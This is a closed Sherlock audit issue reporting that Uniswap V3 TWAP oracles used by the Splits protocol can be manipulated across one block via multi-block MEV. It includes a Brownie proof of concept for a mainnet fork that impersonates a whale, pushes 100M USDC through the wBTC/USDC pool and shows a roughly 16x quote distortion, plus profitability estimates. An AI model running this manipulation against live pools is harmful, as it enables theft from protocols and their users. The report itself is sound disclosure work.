sherlock-audit / 2023-04-splits-judging

4 stars 1 forks source link

GalloDaSballo - Most UniV3 Twaps can be attacked via one block pricing attack #112

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

GalloDaSballo

medium

Most UniV3 Twaps can be attacked via one block pricing attack

Summary

Uniswap TWAP provides security for same block manipulation

However, for most pools, it will not provide security against manipulations that can be performed across one block

One block attacks are possible because of:

Vulnerability Detail

Because we can:

Thanks to cross block bundles

We can perform the following attack:

The strategy has been researched and shown to be doable here: https://arxiv.org/abs/2303.04430

This is possible because block validators can be known at the beginning of an epoch in POS

Impact

TWAP for most pairs will be unsafe because in practice cross-block arbitrages are possible

https://github.com/sherlock-audit/2023-04-splits/blob/main/splits-oracle/src/UniV3OracleImpl.sol#L275-L282

Code Snippet

The POC shows an example of a Low Liquidity Pool (e.g. wBTC / USDC at 30 BPS)

And shows that even this pool can be manipulated via MMEV

The following POC is written in brownie,

Run on fork mainnet via brownie console --network mainnet-fork

Then paste the python in the terminal

router = UniV3Router.at("0xe592427a0aece92de3edee1f18e0157c05861564")
factory = UniV3Factory.at("0x1F98431c8aD98523631AE4a59f267346ea31F984")

## sLUSD - USDC -> 0.3%

usdc = interface.ERC20("0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48")
lusd = interface.ERC20("0x5f98805A4E8be255a32880FDeC7F6728C6568bA0")
wbtc = interface.ERC20("0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599")

BPS_30_POOL = 3000

usdc_lusd_pool = factory.getPool(usdc, lusd, BPS_30_POOL)

## Find a Pool
"""USDC -> LUSD
wBTC -> LUSD"""

## Deposit a shitton to attack

## 30 BPS wBTC USDC Pool
to_attack = factory.getPool(wbtc, usdc, 3000)

c = OracleLibrary.deploy({"from": a[0]})

res = c.consult(to_attack, 15 * 60)

quote = c.getQuoteAtTick(res[0], 1e8, wbtc, usdc)
print("Before Attack time", chain.time())

usdc_whale = accounts.at("0x0A59649758aa4d66E25f08Dd01271e891fe52199", force=True)
ONE_HUNDRED_MLN_USDC = 100 * 10 ** 6 * 10 ** 6

usdc.approve(router, ONE_HUNDRED_MLN_USDC, {"from": usdc_whale})

"""
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;

"""

router.exactInputSingle([
  usdc,
  wbtc,
  BPS_30_POOL,
  usdc_whale,
  999999999999999999,
  ONE_HUNDRED_MLN_USDC,
  0,
  0
], {"from": usdc_whale})

res_2 = c.consult(to_attack, 15 * 60)
quote_2 = c.getQuoteAtTick(res_2[0], 1e8, wbtc, usdc)
print("res2 time - no update since TWAP protects same block, this tx will be done as last of the block", chain.time())

chain.sleep(12)
chain.mine()

res_3 = c.consult(to_attack, 15 * 60)

quote_3 = c.getQuoteAtTick(res_3[0], 1e8, wbtc, usdc)
print("res3 time, this tx will be done as first in the block", chain.time())

print("After attacking with 100MLN USDC")
print("Before Attack Tick", res)
print("Before Attack Quote", quote)
print("Same Block Attack Tick - Protected", res_2)
print("Same Block Attack Quote - Protected", quote_2)
print("Next Block")
print("Next Block Attack Tick - Manipulated", res_3)
print("Next Block Attack Quote - Manipulated", quote_3)
print("Ratio between honest quote and manipulated quote" quote / quote_3)

The output will look close to this:

res2 time - no update since TWAP protects same block, this tx will be done as last of the block 1682337568
res3 time, this tx will be done as first in the block 1682337580
After attacking with 100MLN USDC
Before Attack Tick (56127, 7689799713075)
Before Attack Quote 27380587878
Same Block Attack Tick - Protected (56127, 7689799713075)
Same Block Attack Quote - Protected 27380587878
Next Block
Next Block Attack Tick - Manipulated (83920, 300833904)
Next Block Attack Quote - Manipulated 440978153194
Ratio between honest quote and manipulated quote 16.10550347417197

Proving that the price can be moved on the next block very noticeably

Tool used

Manual Review

Recommendation

Limit the usage of TWAP for High Liquidity Pairs (100 MLN+) Alternatively, use Chainlink Price feeds and limit support to all the tokens that have a feed

On Severity and profitability

The given example is illustrative of a fairly used pool (USDC and wBTC being top market cap tokens)

This applies to other pools which have less liquidity (e.g. most Protocol Tokens to USDC instead of to ETH)

Napkin math on conditions for profitability are the following:

Assuming a caller incentive of 2%, and a Bull Market Swap Fee of $500 500 / .02 = 25000 600 / 25 = 24

If 24 splits meet the requirement for a profitable swap on Mainnet, then the attack becomes profitable given the conditions above

The attack should be cheaper to perform for lower liquidity pairs, which the architecture allows